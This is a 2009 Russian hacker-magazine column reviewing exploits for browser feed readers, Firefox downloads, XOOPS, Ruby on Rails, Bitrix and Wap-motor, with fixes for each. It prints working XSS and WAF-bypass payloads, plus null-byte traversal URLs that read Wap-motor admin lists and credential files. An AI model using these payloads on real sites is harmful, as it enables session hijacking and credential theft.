Издательский дом ООО "Гейм Лэнд"

ЖУРНАЛ ХАКЕР #130, ОКТЯБРЬ 2009 г.

Обзор эксплоитов

Начинающие багокопатели часто недооценивают такие уязвимости, как: XSS, CSRF, подмена каких-либо данных (читай - фишинг), раскрытие содержимого локальных файлов. Якобы эти баги и в подметку не годятся мощным и быстродействующим SQL-инъекциям, выполнению кода, переполнению кучи, заливке шелла, Local/Remote file inclusion и т.д., с помощью которых можно в короткий срок взять контроль над сайтом или программой. Сегодняшний обзор призван поколебать мнение сомневающихся, ибо упомянутые типы уязвимостей с успехом применяется хакерами во всем мире.

Межсайтовый скриптинг при обработке RSS и Atom лент в Opera и Google Chrome

BRIEF

В уже далеком 2006 году некие James Holderness и James M. Snell провели исследование, направленное на выявление различных XSS-уязвимостей в некоторых онлайн фид-аггрегаторах (например, Feed Demon).

И вот, 15 сентября сего года еще один багокопатель Inferno решил продолжить исследование и раскопал аналогичные уязвимости в последних версиях популярных браузеров Google Chrome и Opera (full disclosure от Inferno находится по адресу: http://securethoughts.com/2009/09/exploiting-chrome-and-operas-inbuilt-atomrss-reader-with-script-execution-and-more).

EXPLOIT

Сам автор приводит несколько сценариев эксплуатации багов, и первый из них таков:

С помощью социальной инженерии атакующий подсовывает жертве ссылку на rss/atom ленту, находящуюся на своем evil-сайте (жертва должна использовать Google Chrome или Opera в качестве основного браузера);
Злонамеренный код исполняется в браузере жертвы. Profit в случае этого сценария следующий: фишинг (можно спросить у юзера его данные для доступа к Google Reader, My.Opera.com и другим онлайн-сервисам), поиск в истории браузера на предмет посещенных страниц (подробнее о данном виде атак читай по ссылке http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html), сканирование внутренней сетки юзера с помощью javascript (описание этой атаки - http://jeremiahgrossman.blogspot.com/2006/11/browser-port-scanning-without.html).

Собственно, эксплойты и примеры для этого сценария находятся тут:

Google Chrome (18 примеров XSS) - http://securethoughts.com/security/rssatomxss/googlechromexss.atom;
Opera (38 примеров XSS) - http://securethoughts.com/security/rssatomxss/opera10xss.atom.

Далее следует еще один замечательный сценарий:

У атакующего и у жертвы есть аккаунты на доверенном веб-сайте (или этот доверенный сайт позволяет атакующему инжектить javascript в любую из лент новостей, читай - у тебя есть шелл или ftp-доступ на данном ресурсе);
Доверенный вебсайт использует систему блэклистинга для известных исполняемых и просто опасных типов файлов (html, jsp, php, htaccess и т.д.);
Атакующий заливает файл с расширением .rss или .atom (или вообще с любым расширением, исполняемым как .rss/.atom, например .atom.tx, так как большинство веб-серверов по дефолту определят файл, как «application/{atom/rss}+xml»);
Атакующий дает жертве линк на загруженный файл;
Куки и другая чувствительная информация жертвы уплывают к атакующему :).

Эксплойты для этого варианта сценария находятся тут:

В качестве бонуса исследователь напоминает нам тот факт, что всеми любимый Internet Explorer (в частности, 8 версия) автоматически поддерживает файлы с неизвестным расширением и может исполнить их контент как обычный html+javascript (многое зависит от mime type файла). Так что все вполне может подойти и для IE. Для примера зайди с помощью Internet Explorer по адресу http://securethoughts.com/security/rssatomxss/anyfile.tx и насладись простейшим javascript-алертом из данного файла:

<html> <script>alert('XSS')</script> </html>

Также существует и некий третий сценарий для полного захвата всех новостных лент Оперы, но до выхода официального патча от разработчиков Inferno не хочет сообщать нам никаких подробностей :(.

TARGETS

Opera 10 и ниже
Google Chrome < v3.0.195.21

SOLUTION

Для решения проблемы в случае использования Google Chrome просто обновись до последней версии браузера (v3.0.195.21 и выше), а вот в случае использования Opera не все так просто - разработчики считают баг фичей, так что отключай выполнение js либо тщательней проверяй, по каким ссылкам ходишь.

Подмена загружаемых файлов в Mozilla Firefox

BRIEF

О таком известном браузере, как Огнелис багокопатели тоже не забыли. Недавно Jeremy Brown (http://jbrownsec.blogspot.com) обнаружил, что Firefox позволяет одним пользователям системы подменять загружаемые файлы других пользователей. Багофичу наиболее просто эксплуатировать в Linux-системах. Суть уязвимости заключается в том, что, когда пользователь начинает загружать файл, появляется диалоговое окно Downloads, для которого браузер использует фиксированный путь с директорией /tmp. Злоумышленник может разместить файл в этой самой директории /tmp перед началом загрузки файла и подменить содержимое загружаемого файла.

EXPLOIT

Для обнаруженной уязвимости автор пока еще не выпустил эксплойт в надежде на то, что кодеры Мозиллы как можно скорее исправят баг: «I will be releasing exploit code as soon as updates fixing the issue are provided».

Несуществующий эксплойт с успехом может заменить видео, записанное Jeremy Brown'ом для подробной и наглядной ручной эксплуатации уязвимости. Там он показывает, как заменить один скачанный юзером с доверенного сайта исходник совершенно другим, измененным под наши хакерские цели. Посмотреть и скачать видео можно тут: http://securitytube.net/Zero-Day-Demos-(Firefox-Vulnerability-Discovered)-video.aspx (советую регулярно просматривать этот сайт - своего рода хакерский YouTube).

TARGETS

Mozilla Firefox 2.x и 3.x

SOLUTION

Пока решения для исправления уязвимости не существует. Тебя спасут лишь внимательность и настороженность.

Межсайтовый скриптинг в XOOPS

BRIEF

Так как основная тема сегодняшнего обзора - XSS, нельзя не упомянуть еще об одной полезной для нашего хакерского дела уязвимости. На сей раз банальный cross site scripting был найден в таком небезызвестном php-движке, как XOOPS. Бага присутствует в файле ./xoops233/modules/pm/viewpmsg.php. Давай вместе проследим за переменной $_REQUEST['op']:

<?php ... $_REQUEST['op'] = empty($_REQUEST['op']) ? "in" : $_REQUEST['op']; ... $pmform->addElement(new XoopsFormHidden('op', $_REQUEST['op'])); $pmform->assign($xoopsTpl); ?>

Как видишь, $_REQUEST['op'] без какой-либо дополнительной фильтрации попадает в hidden-форму темплейта, выводимого на экран движком, массив $_REQUEST также нигде не проверяется, и мы спокойно сможем использовать недоработку для кражи админской сессии и последующего зашелливания сайта-жертвы через админку.

EXPLOIT

Авторы уязвимости (группа Sense of Security) предлагают следующий PoC-эксплойт:

http://site.com/xoops-2.3.3/htdocs/modules/pm/viewpmsg.php?op='"><script>alert('vulnerable')</script><link id='

Подробности ты сможешь узнать на их сайте по адресу: http://www.senseofsecurity.com.au/advisories/SOS-09-005.pdf.

TARGETS

XOOPS <= 2.3.3

SOLUTION

Для решения проблемы тебе необходимо установить последнюю версию движка с сайта производителя www.xoops.org (на данный момент – 2.3.3b).

Межсайтовый скриптинг в Ruby on Rails

BRIEF

Проблема XSS не обошла стороной и такой известный продукт, как Ruby on Rails и, в частности, построенный на нем Twitter.com.
Уязвимость существует из-за недостаточной обработки входных данных в мультибайтовых кодировках BIG5, EUC-JP, EUC-KR, GB2312 и SHIFT_JIS (кстати, с этой же проблемой было связано и множество SQL-инъекций в популярных web-движках). Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код javascript в браузере жертвы в контексте безопасности уязвимого сайта. Весь сыр-бор происходит из-за недостаточной фильтрации символов национальных кодировок в так называемых FormHelper-элементах движка. Они предоставляют набор методов для создания форм на основе моделей для каждого вида юзерского ввода (например, текст, пароль, выбор и т.д.). Так как большинство баз данных либо не принимают, либо очищают неправильные мультибайт-строки, уязвимость может встретиться не так часто, но, тем не менее, на Твиттере она присутствовала и успешно эксплуатировалась злоумышленниками.

EXPLOIT

Эксплойт для описываемой XSS может быть представлен во множестве вариантов, например:

<a href="http://site.com" title="XSS [мультибайт-символ, который перезапишет следующие 2 символа]">ABCD" onerror='alert(131)'>131</a>

Если у тебя есть возможность изменять содержимое атрибута title и ты запишешь в квадратные скобки символ за номером 0131 (ALT + 0131), то следующие за ним кавычки в мультибайтовой кодировке просто съедятся (превратятся в некий четырехбайтовый символ) и закрывающий тег «>» будет уже внутри других кавычек:

<a href="http://site.com" title="XSS [полученный 4байтовый символ]>ABCD" onerror='alert(143)'>143</a>

Дело в том, что, к примеру, в кодировке GB2313 символ 0131 (в десятичной системе) на самом деле не является отдельным символом - он лишь начало другого символа, то есть в результате инжекта имеем символ 0131 + кавычки = «отдельный символ».

Подробнее о данном векторе межсайтового скриптинга можно почитать на буржуйском форуме http://www.criticalsecurity.net/index.php/topic/31640-xss-via-multibyte-characters.

TARGETS

2.0.0 и все подверсии.

SOLUTION

Как всегда, не забываем обновляться. Актуальные версии Ruby on Rails - 2.3.4, 2.2.3, скачать их можно на сайте производителя – rubyonrails.org.

Межсайтовый скриптинг в Bitrix CMS

BRIEF

В отечественной разработке от 1C - Bitrix CMS (движок используется, например, таким популярным секурити-порталом, как securitylab.ru, сетью магазинов бытовой электроники «Эльдорадо» и несколькими тысячами других известных фирм) не так давно были обнаружены cross site scripting уязвимости. О них, в рамках фестиваля Chaos Constructions 2009, сообщил Владимир Воронцов (http://onsec.ru).

Первая бага существует из-за отсутствия фильтрации символа одинарной кавычки в http-заголовке «Referer», который отображается в теге «<a>» на страницах статистики в административной части модуля «Веб-аналитика». Зайдя на сайт жертвы со специально сформированным реферером, злоумышленник внесет свой злонамеренный код прямо в админку сайта, что чревато похищением админских кукисов.

Вторая бага возникает из-за неполной фильтрации входных данных в модуле WAF («Проактивная защита»). Удаленный пользователь может обойти установленные фильтры и произвести XSS-нападение. Для успешной эксплуатации требуется заранее внести свой код в базу данных движка (комментарии, посты и т.д.).

EXPLOIT

Для первой уязвимости сам автор приводит следующий формат пересылаемого заголовка Referer:

Referer: " style="onsec:e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n(alert(111))

Также в этом примере используется и обход проактивного фильтра WAF-движка 1С-Битрикс. Для второй баги security-эксперт за 40 фестивальных минут смог найти такие векторы обхода фильтра защиты:

<style> @\69\6D\70\6F\72\74 url(http://onsec.ru/xss.css); </style> --- e&#92xp&#92re&#92s&#92s&#92i&#92o&#92n

Проактивный фильтр WAF проверяет входные данные пользователя на наличие потенциально опасных строк по огромной базе регулярных выражений и фильтрует множество вариантов реализаций SQL-инъекций, Includes, XSS. Но именно эти варианты разработчики как-то не учли :).

TARGETS

Bitrix CMS <= 8.0.5

SOLUTION

Для своевременной защиты обладатели Битрикса легко смогут обновиться через встроенный функционал обновления. Для устранения первой уязвимости с реферером можно также включить модуль проактивной защиты.

Раскрытие данных в Wap-motor

BRIEF

Почему-то тема WAP-сайтов встречается в ][ крайне редко. Настало время исправить это недоразумение. Итак, недавно найденная уязвимость просмотра содержимого произвольных локальных файлов в CMS Wap-motor, которую используют множество Wap-сайтов на территории всего СНГ и ближнего зарубежья, позволяет прочитать важные конфиги и файлы текстовой базы данных движка. Проведем небольшой реверсинг скриптов жертвы вместе с автором баги Inj3ct0r'ом (Inj3ct0r.com).

1. Открываем файл ./gallery/gallery.php:

<?php require_once"../template/start.php"; require_once"../template/regglobals.php"; require_once"../template/config.php"; require_once"../template/functions.php";

$image=check($image); $ext = strtolower(substr($image, strrpos($image, '.') + 1));

if($ext=="jpg" || $ext=="gif" || $ext=="png"){ if($ext=="jpg"){$ext="jpeg";}

$filename = BASEDIR."local/datagallery/$image"; $filename = file_get_contents($filename); header('Content-Disposition: inline; filename="'.$image.'"'); header("Content-type: image/$ext"); header("Content-Length: ".strlen($filename)); echo $filename; } ?>

2. Далее ./template/regglobals.php:

<?php ... if (!ini_get('register_globals')) { while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value; while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value; } ... foreach ($_GET as $check_url) { if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) || (eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) || (eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) || (eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("$[^>]*\"?[^)]*$", $check_url)) || (eregi("\"", $check_url)) || (eregi("\'", $check_url)) || (eregi("\./", $check_url)) || (eregi("//", $check_url)) || (eregi("<", $check_url)) || (eregi(">", $check_url))) {

header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit; } ... ?>

Теперь рассмотрим подробней, что же происходит в приведенных скриптах при передаче параметра $_GET['image']:

1. Переменная $_GET['image'] глобализуется и превращается в $image:

while(list($key, $value) = each($_GET)) $GLOBALS[$key] = $value;

2. $image проверяется как $check_url в нескольких eregi-регулярках на предмет нехороших символов;

3. Затем производятся не совсем понятные трезвому программисту манипуляции с расширением требуемого файла;

4. Нужный файл читается и отдается пользователю.

EXPLOIT

Казалось бы, через приведенные выше регулярки невозможно провести никакой directory traversal, но, вспомнив метод Электа для ereg[i]-функций, вполне успешно можно заюзать любимый всеми нулл-байт. Исходя из этого, схема эксплуатирования баги может быть следующей:

1. Читаем список админов:

http://wap.site.com/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif

2. Читаем credentials любого из админов:

http://wap.site.com/gallery/gallery.php?image=%00../profil/[MY_ADMIN_NAME].prof%00.gif

3. Наслаждаемся админскими правами.

Конечно, для успешного внедрения нулл-байта на сервере жертвы должны быть отключены magic_quotes.

TARGETS

Wap-Motor <= 18.0.

SOLUTION

Ищем последнюю версию движка на сайте производителя - http://visavi.net/wap-motor.

Содержание